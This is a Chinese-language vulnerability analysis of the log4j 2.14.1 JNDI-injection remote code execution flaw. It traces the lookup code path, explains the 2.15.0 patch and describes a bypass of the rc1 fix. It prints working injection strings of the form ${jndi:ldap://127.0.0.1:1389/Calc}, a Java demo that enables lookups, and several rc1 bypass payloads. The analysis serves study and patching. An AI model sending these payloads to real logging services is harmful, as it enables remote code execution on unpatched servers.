log4j RCE 分析

前言

log4j 这个漏洞可以说是核武了…. 一经发出大家都在连夜应急(可惜自己在学校体验不到这种感觉,蛮可惜的..)

log4j 是一个非常流行的日志记录的包,所以当这个包出现了漏洞可想而知… 只要组件中引入了 log4j2-core 那么我们就可以像测试 XSS 那样来进行 RCE 这都是之前不敢想象的

受影响的组件有如下:
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Spring-boot-starter-log4j2
ElasticSearch

Log4j RCE 梳理

影响版本

log4j <= 2.14.1

利用

在 pom 中添加下方 dependency

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.14.1</version>
  5. </dependency>

只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用

log4j RCE 分析 - 图1

漏洞分析

官方文档中可以看到对 JNDI Lookup 做了支持,那么如果 jndi: 后面可控的话就可以造成 JNDI 注入

log4j RCE 分析 - 图2

打上断点进行分析,前面其实都是在 appender 相关 ( Appender 即将日志输出到什么地方,有控制台,文件,数据库,远程服务器等 ) 默认情况是输出到 console 中, 然后就会调用编码器将log信息进行编码输出(默认为 UTF-8)

所以最开始的一些代码就是处理输出位置、编码 log 信息等工作,并不是我们的主要漏洞部分

略过前面的代码,直接来到关键入口:org.apache.logging.log4j.core.pattern#format

在 format 函数中这里的 if 判断首先会判断是否允许使用 lookup 功能,接下来会遍历 workingBuilder 来进行判断

如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串,这一部

log4j RCE 分析 - 图3

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

log4j RCE 分析 - 图4

所以上图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}

然后就会来到 substitute 函数

prefixMatcher => $ {

suffixMatcher => }

前半部分的逻辑其实就是通过 while 循环来进行不断匹配从而取出 ${ } 中间的值

在该函数中会对字符串进行遍历,我们的 payload 在这里被存放到了 buf 中,接下来会进入 while 循环

log4j RCE 分析 - 图5

在 while 循环中,会对字符进行逐字匹配 ${ ,

log4j RCE 分析 - 图6

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute 来处理

ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍

log4j RCE 分析 - 图7

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数

log4j RCE 分析 - 图8

varName 就是为 ${} 中的值

log4j RCE 分析 - 图9

在 resolveVariable 中主要是来进行变量的处理,首先会调用 getVariableResolver 获取所有的 resolver , 然后在 lookup 方法中寻找对应的

log4j RCE 分析 - 图10

在 lookup 方法中,首先会截取冒号前的字符串,此时我们取出来的为 jndi 然后根据取出来的名字中寻找对应的 lookup

log4j RCE 分析 - 图11

可以看到 strLookupMap 中放置了很多 Lookup 类,这里根据我们传入的 jndi 取出 JndiLookup

log4j RCE 分析 - 图12

然后调用了 JndiLookup#lookup,在该函数中由于 jndiName 可控造成了 JNDI 注入

log4j RCE 分析 - 图13

接下来就是 JNDI 注入的相关代码了就不跟了

log4j RCE 分析 - 图14

漏洞修复

官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup

log4j RCE 分析 - 图15

漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里

log4j RCE 分析 - 图16

在这里做了很多限制,一个一个来看

log4j RCE 分析 - 图17

在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续

接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host

log4j RCE 分析 - 图18

接下来对 javaSerializedData 情况做了处理(个人猜测这里是防止高版本 jndi 注入绕过,javaSerializedData 可被攻击者设置为反序列化 payload 从而攻击本地 classpath 中存在反序列化漏洞的包)

log4j RCE 分析 - 图19

最后针对 java Reference 地址 和 javaFactory 又做了限制….

log4j RCE 分析 - 图20

所以层层防御就导致最终 return null

ps:在官方没正式发布补丁之前其实是有两个修复版本的一个是 rc1,一个是 rc2 但是 rc1 被 Bypass 了

Log4j rc1 Bypass

GitHub:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

由于自 2.15.0 起,关闭了 jndi lookup 所以我们需要手动开启,下面是我手动开启的 payload (为了开启这玩意儿卡了好久)

public class Demo {
    private static final Logger logg = LogManager.getLogger();

    public static void main(String[] args) {
        Configuration configuration = new DefaultConfiguration();
        MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
        LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"),null);
        messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"));
    }
}

这里简单的说一下思路(感谢 4ra1n 师傅):

首先参考官方文档看到了 下面这段话

For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

所以我直接先全局搜索 nolookup 找到了 MessagePatternConverter 类

log4j RCE 分析 - 图21

然后在 newInstance 中会调用 loadLookups ,在 loadLookups 函数中有一句判断 if (LOOKUPS.equalsIgnoreCase(option)) 所以如果 options为 lookups 返回就为 true,然后在下面会根据 lookups 的状态来获取不同的 Converter ,我这边在 return 处打了断点来进行后续的分析

log4j RCE 分析 - 图22

然后结合之前调试 2.14.1 的流程,可以知道后面会调用获取到的 converter 的 format 方法

log4j RCE 分析 - 图23

所有我们只需要传入 event 和 buffer 就行了,buffer 就是我们的 payload ,event 根据构造函数创建就可以了

那么开始正文,在 rc1 的修复中 catch 并没有做任何处理,那么只要我们 URI 过程中导致抛错进入 catch 那么久仍然可以造成 jndi 注入

log4j RCE 分析 - 图24

这样的话绕过的情况就蛮多了

${jndi:ldap://127.0.0.1:1389/\$Calc}
${jndi:ldap://127.0.0.1:1389/ Calc}
${jndi:ldap://127.0.0.1:1389/\u0000Calc}
...

log4j RCE 分析 - 图25